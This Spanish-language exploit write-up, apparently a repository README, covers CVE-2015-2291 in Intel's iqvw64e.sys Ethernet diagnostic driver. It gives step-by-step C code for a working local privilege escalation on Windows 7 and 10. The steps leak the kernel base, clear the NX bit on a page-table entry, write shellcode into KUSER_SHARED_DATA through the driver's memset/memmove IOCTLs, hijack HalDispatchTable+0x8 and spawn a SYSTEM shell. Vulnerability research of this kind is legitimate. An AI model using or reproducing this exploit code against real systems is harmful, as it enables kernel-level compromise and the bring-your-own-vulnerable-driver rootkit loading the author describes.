
(1) IQVW32.sys anterior a 1.3.1.0 y (2) IQVW64.sys anterior a 1.3.1.0 en el controlador de diagnóstico de Ethernet Intel para Windows permite a usuarios locales provocar una denegación de servicio o posiblemente ejecutar código arbitrario con privilegios de kernel mediante una llamada IOCTL manipulada (a) 0x80862013, (b) 0x8086200B, (c) 0x8086200F, o (d) 0x80862007.
(1) IQVW32.sys anterior a 1.3.1.0 y (2) IQVW64.sys anterior a 1.3.1.0 en el controlador de diagnóstico de Ethernet de Intel para Windows permite a usuarios locales causar una denegación de servicio o posiblemente ejecutar código arbitrario con privilegios de kernel mediante una llamada IOCTL manipulada (a) 0x80862013, (b) 0x8086200B, (c) 0x8086200F, o (d) 0x80862007.
Este repositorio contiene un análisis de la vulnerabilidad en cuestión, junto con exploits de prueba de concepto funcionales en Windows 7 SP1 de 64 bits y Windows 10 20H2. El archivo del controlador se puede encontrar en el directorio Driver Files. Si encuentra algún error tipográfico en el análisis/documento, o si desea ver ciertos detalles con una descripción más elaborada, ¡cree un issue en el repositorio! Los corregiré lo antes posible.
La motivación detrás de escribir un exploit para este controlador de dispositivo en particular se debe únicamente a que actualmente se está utilizando de forma maliciosa en la naturaleza para cargar un rootkit sin firmar de un atacante. Usando el método BYOVD (Bring Your Own Vulnerable Driver), el malware puede verificar si se está ejecutando con privilegios elevados, colocar una copia del controlador vulnerable, cargar el controlador y posteriormente explotarlo para obtener ejecución de código en el kernel y cargar el rootkit. No pude realizar ingeniería inversa con éxito de la muestra de malware, por lo que me tomé la tarea de crear el exploit.
Muestras detectadas en la naturaleza: https://bazaar.abuse.ch/sample/84ed7fec67de5621806dbb43af5167a5fc60ab7f2403448519dc0eca2b8f9022/ https://bazaar.abuse.ch/sample/0925b8985b19d7925d68186d666b0050a4cb3f2a577d64765d770a57a2eab9ae/ https://bazaar.abuse.ch/sample/e8b7f42d544fe8b954c4021315cff2fdd44d67d11704009cdf3037d34e0c0a93/
El controlador de dispositivo, llamado iqvw64e.sys, es un controlador diseñado para realizar diagnósticos del adaptador de red. Permite que el componente en modo usuario interactúe con el controlador de dispositivo para realizar una gran cantidad de rutinas del kernel exponiendo algunos códigos de control de E/S (también conocidos como IOCTL), con un código de control "sub" proporcionado en el búfer de entrada del usuario durante la interacción. El código de control IO que se utilizará para alcanzar la ruta de código vulnerable es 0x80862007. Además del código de control principal, los códigos de control "sub" antes mencionados que se cubrirán en este análisis serán el código 0x33 para alcanzar la llamada a la función memmove, y el código 0x30 para alcanzar las rutas de código de la llamada a la función memset. Este análisis no cubrirá ningún detalle sobre la rutina DriverEntry, ya que hay suficiente documentación en la página de documentación de Microsoft para dar una explicación exhaustiva.
Para empezar, queremos saber cómo podemos interactuar con este controlador de dispositivo en particular. La forma más común de comunicarse con un controlador de dispositivo es mediante el uso de una función llamada DeviceIoControl. La idea general detrás de esta función es que podemos pasar un identificador de controlador válido creado por CreateFileA, pasar un código de control IO que corresponda a la rutina del kernel que deseamos, pasar una estructura (o búfer) que espera, y devolverá datos en nuestro búfer de salida. Si bien rutinas como estas pueden ser necesarias en ocasiones (por ejemplo, acceder a registros específicos del modelo para fines de overclocking), también representan un grave riesgo para la seguridad. Pero... ¿cómo?
En el caso de CVE-2015-2291, la vulnerabilidad puede ser desencadenada por un usuario sin privilegios. Debido a que no hay verificaciones de saneamiento presentes, y los privilegios de administrador no son necesarios para explotar la vulnerabilidad, esto representa un riesgo de seguridad. Lo que subyace debajo de estos dos fallos es la capacidad de controlar completamente las llamadas a las funciones memset y memmove expuestas por la interfaz de código de control IO. ¿Recuerdas la función DeviceIoControl mencionada anteriormente, cómo podemos pasar una estructura que se usará en una rutina del kernel? Así es como todo se une.
Retrocedamos un paso. Primero queremos obtener el identificador del controlador relacionado con el controlador de dispositivo vulnerable. Incluso antes de esto, necesitamos localizar el objeto de dispositivo con nombre correspondiente. Estos se exponen al espacio de usuario mediante un enlace simbólico (comúnmente codificado de forma rígida), que se puede encontrar usando WinObj, parte del [conjunto SysInternals]. Si bien podríamos usar una utilidad de volcado de cadenas para volcar el enlace simbólico, o alternativamente realizar ingeniería inversa del controlador de dispositivo, simplemente cargué el controlador de dispositivo y lo localicé usando WinObj. El enlace simbólico encontrado en relación con el controlador de dispositivo es \\.\GLOBALROOT\Device\Nal. Para obtener el identificador del controlador, necesitamos llamar a la función CreateFileA y hacer que devuelva un identificador de controlador válido para usar más adelante en el proceso. El código para este proceso es el siguiente:```C
if (h_nal == (HANDLE)-1)
{
printf("\n[-] Unable to obtain a driver handle to the Nal device driver. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 1;
}
printf("\n[+] Obtained a driver handle to the Nal device driver. Handle Value: 0x%p", h_nal);
Usaremos el manejador del controlador más adelante en el proceso de explotación. Por ahora, comenzaremos la preparación de nuestro exploit. El siguiente paso sería cargar la biblioteca `ntdll.dll` usando la función [LoadLibraryA](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya) para obtener un [manejador de módulo](https://docs.microsoft.com/en-us/windows/win32/winprog/windows-data-types), de modo que podamos localizar dinámicamente las funciones que necesitamos. Aunque la biblioteca `ntdll.dll` ya pueda estar cargada en nuestro proceso, de todas formas necesitamos obtener un manejador de la biblioteca que podamos usar. Las funciones que necesitamos para la explotación son [NtQuerySystemInformation](https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation) para filtrar la dirección base del kernel NT (con integridad de proceso media) para más adelante en el proceso de explotación, y la función [NtQueryIntervalProfile](http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FProfile%2FNtQueryIntervalProfile.html) para desencadenar la vulnerabilidad. En cuanto al código para cargar la biblioteca `ntdll.dll`, es el siguiente:```C
h_ntdll = LoadLibraryA("C:\\Windows\\System32\\ntdll.dll");
if (!h_ntdll)
{
printf("\n[-] Failed to load the \"ntdll.dll\" API library. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 0;
}
printf("\n[+] Loaded the \"ntdll.dll\" API library. Handle Value: 0x%p", h_ntdll);
Ahora que hemos obtenido un identificador (handle) de la biblioteca, comenzaremos por localizar la función NtQueryIntervalProfile. Para empezar, necesitaremos una definición de tipo para esta función, ya que no está documentada. Si bien puede encontrar la definición de tipo en línea, la he proporcionado aquí para facilitar el acceso:```C
typedef unsigned int(__stdcall* NtQueryIntervalProfile)(
unsigned int ProfileSource,
PULONG Interval
);
Para usar esta función, también necesitaremos declarar una variable (local o global, según prefiera) usando el tipo `NtQueryIntervalProfile`. Ahora, ¿cómo convertimos esta variable en una función real? Para ello, utilizaremos una función llamada [GetProcAddress](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress). Al pasar un identificador del módulo que queremos buscar (el primer parámetro) y pasar el nombre de la función (el segundo parámetro), ¡podemos localizar cualquier función que queramos en el módulo y recuperar un puntero a esa función! Se proporciona código para ayudarle a procesar esta información.```C
_NtQueryIntervalProfile = (NtQueryIntervalProfile)GetProcAddress(h_ntdll, "NtQueryIntervalProfile");
if (!_NtQueryIntervalProfile)
{
printf("\n[-] Failed to locate the \"NtQueryIntervalProfile\" function. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 1;
}
printf("\n[+] Located the \"NtQueryIntervalProfile\" function. Function Address: 0x%p", _NtQueryIntervalProfile);
La razón por la cual la carga dinámica de funciones y la capacidad de usarlas funciona es porque las funciones en sí mismas son punteros a código ejecutable. El cuerpo real de una función es el código que se ejecutará.
Ahora que hemos resuelto el puntero de función NtQueryIntervalProfile, aún necesitamos recuperar la dirección de la función NtQuerySystemInformation. Al igual que antes, necesitamos una definición de tipo para esta función, y también necesitaremos declarar una variable para la función a fin de llamarla. También como antes, he proporcionado la definición de tipo para facilitar el acceso.```C
typedef NTSTATUS(WINAPI* NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
Y, igual que antes, necesitamos localizar la función. La única diferencia entre la llamada anterior a `GetProcAddress` y esta es la función que estamos buscando. Podemos copiar la función y cambiar el segundo parámetro para buscar nuestra segunda función. Después de escribir el código, deberíamos tener algo similar a esto:```C
_NtQuerySystemInformation = (NtQuerySystemInformation)GetProcAddress(h_ntdll, "NtQuerySystemInformation");
if (!_NtQuerySystemInformation)
{
printf("\n[-] Failed to locate the \"NtQuerySystemInformation\" function. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 0;
}
printf("\n[+] Located the \"NtQuerySystemInformation\" function. Function Address: 0x%p", _NtQuerySystemInformation);
¡Perfecto! Hemos localizado todas las funciones no presentes que necesitamos. Ahora, necesitaremos filtrar la dirección base del kernel NT. Con la ayuda de NtQuerySystemInformation, podemos crear una consulta que devuelva las direcciones base y otra información de todos los controladores de dispositivo actualmente cargados. El primer parámetro de la función NtQuerySystemInformation es un enumerado, específicamente uno que no está documentado públicamente. El enumerado es SystemModuleInformation, que tiene un valor correspondiente de 0xB. Luego, necesitaremos pasar un puntero a una de las estructuras devueltas. Las estructuras y enumerados necesarios se proporcionan a continuación, cortesía de FuzzySecurity (@b33f):```C
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation = 0xB,
} SYSTEM_INFORMATION_CLASS;
typedef struct SYSTEM_MODULE { ULONG Reserved1; ULONG Reserved2; ULONG Reserved3; PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id; WORD Rank; WORD LoadCount; WORD NameOffset; CHAR Name[256]; } SYSTEM_MODULE, * PSYSTEM_MODULE;
typedef struct SYSTEM_MODULE_INFORMATION { ULONG ModulesCount; SYSTEM_MODULE Modules[1]; } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
Pero espera, ¡hay más! Necesitaremos especificar el tamaño de la estructura a asignar. Debido a que el tamaño de la estructura varía dependiendo del número de controladores de dispositivo de los que se recuperará información, necesitamos llamar a esta función dos veces; la primera llamada a la función será para recuperar el tamaño esperado de la estructura, y la segunda llamada a la función será para recuperar información y almacenarla en nuestra estructura. Para recuperar el tamaño, use la enumeración `SystemModuleInformation` mencionada anteriormente para el primer parámetro, pase un puntero a una variable que almacenará el tamaño de la estructura, y pase `0` (o `NULL`) para el resto de los parámetros restantes. El código debería verse así:```C
_NtQuerySystemInformation(SystemModuleInformation, 0, 0, &return_length);
¡Suficientemente fácil! Hemos recuperado con éxito el tamaño de la estructura esperada. Ahora, necesitamos asignar memoria para nuestra variable que almacenará la información. Usando una función llamada VirtualAlloc, podemos asignar memoria de pila en cualquier dirección que proporcionemos, con cualquier tamaño que queramos, con nuestro propio conjunto de protecciones, y devolver un puntero a esta memoria. Para nuestros propósitos, no necesitamos asignar esta memoria en una dirección fija, por lo que pasaremos 0 para permitir que el administrador de memoria elija una ubicación en la memoria para nosotros. Además, también necesitaremos asignar un bloque de memoria de pila con el tamaño devuelto por NtQuerySystemInformation, que es por lo que tuvimos que almacenar el valor. En cuanto al tipo de asignación y los parámetros de protección, simplemente use los argumentos genéricos que se muestran en el código a continuación.```C
module_info = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(0, return_length, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
Ahora que hemos asignado nuestra memoria de pila para la estructura devuelta, podemos consultar la información del módulo del sistema y recuperar una estructura que contiene información de cada controlador de dispositivo cargado. Para ello, podemos reutilizar nuestra llamada a función `NtQuerySystemInformation` de antes, y pasar un puntero a la estructura (segundo parámetro) y el tamaño de la estructura (tercer parámetro). Ahora, ¿tienes algo como esto?```C
status = _NtQuerySystemInformation(SystemModuleInformation, module_info, return_length, &return_length);
if (status)
{
printf("\n[-] Failed to query system module information. NTSTATUS: %d (0x%x)", status, status);
unused = getchar();
return 0;
}
printf("\n[+] Queried system module information.");
Bueno, espero que tengas algo similar. Todo lo que nos queda por hacer para filtrar la dirección base del NT Kernel es consultar nuestra estructura. No necesitas comparar cadenas con el nombre del controlador en este caso, ya que la información del controlador del NT Kernel siempre está en el índice 0 de esta estructura. Para recuperar la dirección base de un controlador, simplemente imprime, almacena o devuelve el valor del campo de estructura ImageBaseAddress. También es una buena práctica asegurarse de que el puntero no sea NULL antes de usarlo.```C
if (module_info)
{
printf("\n[+] Leaked the NT kernel base address. Kernel Base Address: 0x%p", module_info->Modules[0].ImageBaseAddress);
return (unsigned long long)module_info->Modules[0].ImageBaseAddress;
}
printf("\n[-] Failed to leak the NT kernel base address."); unused = getchar(); return 0;
Hemos devuelto con éxito la dirección base del kernel. Ahora, hay un paso más antes de comenzar el proceso de explotación de esta vulnerabilidad. Necesitaremos crear un puntero `QWORD` (un entero de 64 bits) que almacenará nuestro [PTE (entrada de la tabla de páginas)](https://en.wikipedia.org/wiki/Page_table) y asignar memoria de pila para ello usando `VirtualAlloc`. Los PTEs se cubrirán más adelante en este documento.
Como se demostró anteriormente, usaremos `VirtualAlloc` para asignar memoria y devolver un puntero al bloque de memoria. El código usado en mi exploit se muestra a continuación:```C
pte_address = (long long*)VirtualAlloc(0, 8, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pte_address)
{
printf("\n[-] Failed to allocate stack memory for the leaked page table entry base address pointer. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 1;
}
printf("\n[+] Allocated stack memory for the leaked page table entry base address pointer. Stack Memory Address: 0x%p", (long long*)pte_address);
Ahora que el último paso del proceso de configuración ha finalizado, ¡comencemos con el proceso de explotación!
Como se mencionó en las partes anteriores del documento, el código de control de E/S que queremos usar es IOCTL 0x80862007. Pero, ¿cómo pasamos los "sub" IOCTL?

Un puntero a nuestra entrada de espacio de usuario que pasamos al controlador del dispositivo se almacena en el registro rcx. Como podemos ver en esta figura, notamos que simplemente está desreferenciando el valor en el primer valor QWORD en la estructura que pasaremos. Luego, realiza un switch-case sobre el valor obtenido.

Desplazándonos por el pseudo-código descompilado, encontramos dos rutinas que nos permiten controlar los tres valores de memset y memmove respectivamente. Al pasar un valor de 0x30 como el primer QWORD en la estructura, podemos alcanzar la ruta de código de memset. Alternativamente, al pasar un valor de 0x33 como el primer QWORD en la estructura, alcanzamos la ruta de código de memmove. Estas dos rutas de código se representan a continuación respectivamente.

Al observar los desplazamientos del búfer de entrada utilizados, pudimos crear estructuras para ambas funciones para pasar, para una lectura más fácil. Tenga en cuenta que hay un campo QWORD que se utiliza como relleno. Aunque no estableceremos su valor a nada, necesitamos este campo para que nuestra definición de estructura sea correcta. Además, tenga en cuenta los parámetros utilizados en las llamadas a estas rutinas. Durante el proceso de ingeniería inversa, aprendimos que los parámetros pasados están en el orden correcto con sus respectivas definiciones de función. También se han proporcionado figuras que indican esto a continuación.
La estructura de entrada de la ruta de código memset:```C
typedef struct _MEMSET_INPUT_BUFFER
{
unsigned long long JumpTableCode; // Offset: 0x0 (0)
unsigned long long Padding1; // Offset: 0x8 (8)
unsigned long long Value; // Offset: 0x10 (16)
unsigned long long Destination; // Offset: 0x18 (24)
unsigned long long Length; // Offset: 0x20 (32)
} MEMSET_INPUT_BUFFER, * PMEMSET_INPUT_BUFFER;
La estructura de entrada de la ruta de código `memmove`:```C
typedef struct _MEMMOVE_INPUT_BUFFER
{
unsigned long long JumpTableCode; // Offset: 0x0 (0)
unsigned long long Padding1; // Offset: 0x8 (8)
unsigned long long* Source; // Offset: 0x10 (16)
unsigned long long* Destination; // Offset: 0x18 (24)
unsigned long long Length; // Offset: 0x20 (32)
} MEMMOVE_INPUT_BUFFER, * PMEMMOVE_INPUT_BUFFER;

Tras un análisis rápido, era seguro suponer que estos nos proporcionarían una primitiva de explotación de lectura y escritura arbitraria en el kernel. Esto es perfecto para la explotación en Windows 10, ya que no necesitamos convertir ninguna primitiva de explotación en lecturas y escrituras arbitrarias, lo que nos permite explotar esta vulnerabilidad con facilidad.
Para comenzar, usaremos nuestra primitiva de explotación memmove para leer la función del kernel nt!MiGetPteAddress+0x13. En este desplazamiento de la función, encontramos que hay un valor arbitrario. Combinado con las otras operaciones que se pueden realizar en nuestra explotación, ¡podemos calcular la dirección base de todas las PTE! ¿Recuerdas la variable pte_address que creamos anteriormente? ¿O recuerdas la filtración de la dirección base del kernel NT? Toda la preparación de la explotación discutida anteriormente hizo esto posible. El código para calcular la dirección base de todas las PTE se muestra a continuación. Toma nota de la dirección KUSER_SHARED_DATA, ya que en Windows 10 20H2, esta fue una de las últimas regiones de memoria restantes en el kernel que no se vio afectada por el ASLR (Address Space Layout Randomization) del kernel.
```C
unsigned long long kuser_shared_data_loc = 0xFFFFF78000000050;
current_pte_address = kuser_shared_data_loc >> 9;
current_pte_address &= 0x7FFFFFFFF8;
memmove_input_struct.JumpTableCode = 0x33; memmove_input_struct.Source = nt_base_address + MI_GET_PTE_ADDRESS_PLUS_0X13_OFFSET; memmove_input_struct.Destination = pte_address; memmove_input_struct.Length = 0x8;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0); current_pte_address += pte_address; printf("\n[+] Calculated page table entry address. Page Table Entry Address: 0x%p", (unsigned long long)current_pte_address);
Ahora que hemos calculado la dirección base de la PTE de nuestra página objetivo, queremos desreferenciar esta dirección y recuperar los bits que está utilizando la entrada de la página. Necesitaremos estos datos en breve para cambiar esta región de memoria a lectura, escritura y ejecutable. Cambiamos la dirección `source` en nuestra estructura para que apunte hacia nuestra dirección de PTE, y cambiamos el campo `destination` para que apunte a una variable de pila donde almacenar los bits recuperados, sin cambiar ningún otro campo en la estructura de entrada.```C
unsigned long long current_pte_contents = 0;
memmove_input_struct.Source = current_pte_address;
memmove_input_struct.Destination = ¤t_pte_contents;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Dereferenced page table entry address. Page Table Entry Bits: 0x%llx", current_pte_contents);
Ahora que tenemos los contenidos de bits del PTE real, queremos marcarlo como ejecutable sin cambiar otros bits. Para ello, queremos limpiar el bit de mayor nivel en el valor recuperado para eliminar el bit NX (no ejecutable). Afortunadamente, podemos usar una operación AND a nivel de bits sobre el valor almacenado, aplicando AND con el valor 0x0FFFFFFFFFFFFFFF para realizar esta tarea. Luego activaremos una escritura a la dirección del kernel usando nuestra primitiva de escritura arbitraria, para sobrescribir el valor almacenado en la dirección del PTE. En cuanto a nuestra estructura, modificaremos el campo source de la estructura para que apunte a nuestros bits almacenados, y cambiaremos el destination para que apunte de nuevo a la dirección del PTE. Esto es esencialmente en el orden opuesto a la recuperación de la dirección del PTE. Esto se demuestra con el fragmento de código a continuación.```C
current_pte_contents &= 0x0FFFFFFFFFFFFFFF;
memmove_input_struct.Source = ¤t_pte_contents;
memmove_input_struct.Destination = current_pte_address;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Marked the page table entry as executable. New Page Table Entry Bits: 0x%llx", current_pte_contents);
Antes de continuar, querremos verificar que los contenidos del PTE hayan sido sobrescritos. Si la sobrescritura de bits falla, provocaremos un fallo en la máquina (con una comprobación de error `KERNEL_SECURITY_CHECK_FAILURE` o equivalente). Para verificar esto, usaremos el comando `!pte` en [WinDbg](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools) para confirmar que nuestra sobrescritura funcionó según lo previsto.

Al examinar los bits del PTE, ¡podemos ver que el bit NX ya no está presente! Esto significa que la región de memoria `KUSER_SHARED_DATA` ahora es ejecutable. Ya que estamos tratando con esta región de memoria, lo más lógico es colocar el payload del kernel en algún lugar aquí. Después de realizar un análisis del fragmento de memoria, descubrimos que un desplazamiento de `0x50` desde la base de la región `KUSER_SHARED_DATA` es memoria libre. ¡Este es el lugar perfecto para colocar nuestro payload!

¿Recuerdan nuestra primitiva de escritura `memset` de antes? Usando esta primitiva, podemos iterar a través de todos los bytes de nuestro payload del kernel y escribir cada byte individual en esta región de memoria usando `memset`. Si bien es posible usar `memmove` para escribir el payload en esta ubicación, queríamos una excusa para usar ambas primitivas, para demostrar cómo se puede abusar de una u otra, especialmente bajo control total. Usaremos el código de salto `0x30` para activar la ruta de código de `memset`, con una longitud de `0x1` bytes a escribir. El `destination` deberá incrementarse en uno para apuntar al siguiente byte de memoria libre, junto con el desplazamiento de nuestro payload del kernel. Este proceso se puede demostrar con el bucle `for` proporcionado a continuación.```C
for (int i = 0; i < sizeof(shellcode); i++)
{
memset_input_struct.Destination = kuser_shared_data_loc + i;
memset_input_struct.Value = shellcode[i];
DeviceIoControl(h_nal, TARGET_IOCTL, &memset_input_struct, sizeof(memset_input_struct), &output, sizeof(output), &bytes_returned, 0);
}
printf("\n[+] Wrote kernel payload at address 0x%llx.", kuser_shared_data_loc);
Mientras que desencadenar una vulnerabilidad numerosas veces es un riesgo de bloquear la máquina, esta es una excepción, debido a la estabilidad general del controlador del dispositivo y sus rutinas (mal) utilizadas. Para nuestro siguiente paso, queremos recuperar el puntero de función original almacenado en nt!HalDispatchTable+0x8. Este puntero de función recuperado se utilizará en el paso de recuperación y evitará que nuestra máquina se bloquee aleatoriamente debido al acceso a un puntero de función incorrecto. Si bien este paso no es demasiado importante en Windows 7, ya que nuestra función de ejecución de payload no se llama con frecuencia, su uso ha aumentado en las versiones posteriores de Windows 10. Como siempre, ¡almacenaremos el puntero devuelto en una variable local en nuestra pila abusando una vez más de nuestra primitiva de lectura! También usaremos nuestra dirección base del kernel de NT filtrada una vez más, esta vez emparejándola con un desplazamiento a nt!HalDispatchTable con un desplazamiento adicional de 0x8.```C
memmove_input_struct.Source = nt_base_address + HAL_DISPATCH_TABLE_PLUS_0X8_OFFSET;
memmove_input_struct.Destination = &recovery_address;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Retrieved the recovery address. Recovery Address: 0x%llx", recovery_address);
¡Solo un par de pasos más por hacer! Después de haber almacenado con éxito el puntero original en la tabla de despacho, ahora es momento de sobrescribir el mismo puntero con nuestra dirección `KUSER_SHARED_DATA+0x50`, que se traducirá a `0xFFFFF78000000050`. En este punto, todo está listo para continuar, ¡y estamos preparados para obtener acceso root al sistema! Simplemente cambie el origen de la sobrescritura del puntero a lo que anteriormente era el `destino`, y pase un puntero a nuestra variable local que contiene nuestra dirección para el campo `source`.```C
memmove_input_struct.Destination = nt_base_address + HAL_DISPATCH_TABLE_PLUS_0X8_OFFSET;
memmove_input_struct.Source = &kuser_shared_data_loc;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Overwrote an arbitrary kernel function pointer located in the \"HalDispatchTable+0x8\" function table.\n[!] Executing kernel payload...");
_NtQueryIntervalProfile(2, &interval);
El NtQueryIntervalProfile se conoce por usar punteros de la tabla de despacho HAL, específicamente el desplazamiento 0x8, y por ello es comúnmente abusado. Con la capacidad de escribir arbitrariamente en la memoria del kernel, ¡esta es una de las técnicas de explotación más fáciles que existen! En este punto de nuestro exploit, tenemos privilegios de nt authority\system, pero queremos hacer un último paso antes de lanzar nuestra hermosa shell: limpieza y recuperación.
Esto se agrupará en un solo paso, ya que ambos son simples. Usaremos ambas primitivas de escritura arbitraria una última vez. Para empezar, eliminaremos todo nuestro shellcode del espacio del kernel. Esta es una tarea fácil, ya que podemos usar el mismo bucle for para iterar a lo largo de nuestro payload. Esta vez, sobrescribiremos la memoria con ceros, exactamente como estaba antes de la ejecución de nuestro exploit.```C
for (int i = 0; i < sizeof(shellcode); i++)
{
memset_input_struct.Destination = kuser_shared_data_loc + i;
memset_input_struct.Value = 0;
DeviceIoControl(h_nal, TARGET_IOCTL, &memset_input_struct, sizeof(memset_input_struct), &output, sizeof(output), &bytes_returned, 0);
}
printf("\n[+] Removed the kernel payload from kernel memory.");
No creo que tenga que explicar más las iteraciones del bucle `for`. El último paso en el proceso de recuperación (y en el proceso de explotación en general) es restaurar el puntero de función original en `nt!HalDispatchTable+0x8`. Usando los datos de la estructura `memmove` que se usaron originalmente para sobrescribir uno de los muchos punteros en `nt!HalDispatchTable`, todo lo que tenemos que hacer es modificar el campo `source` para pasar un puntero a la dirección original. Como antes, no creo que necesite explicar esta parte más a fondo (¡$1 si puedes contar cuántas veces me he repetido!).```C
memmove_input_struct.Source = &recovery_address;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Restored the original function pointer.");
Y ahora, puedes divertirte. ¡Genera ese shell del sistema!

En general, este fue un error muy divertido de explotar. El proceso de explotación no fue tan complicado como pensaba. También me permitió sentirme más cómodo con las manipulaciones de PTE, y me permitió crear mi primer exploit de escalada de privilegios local que no abusa de HackSys Extreme Vulnerable Driver. ¡Espero verlos pronto a todos!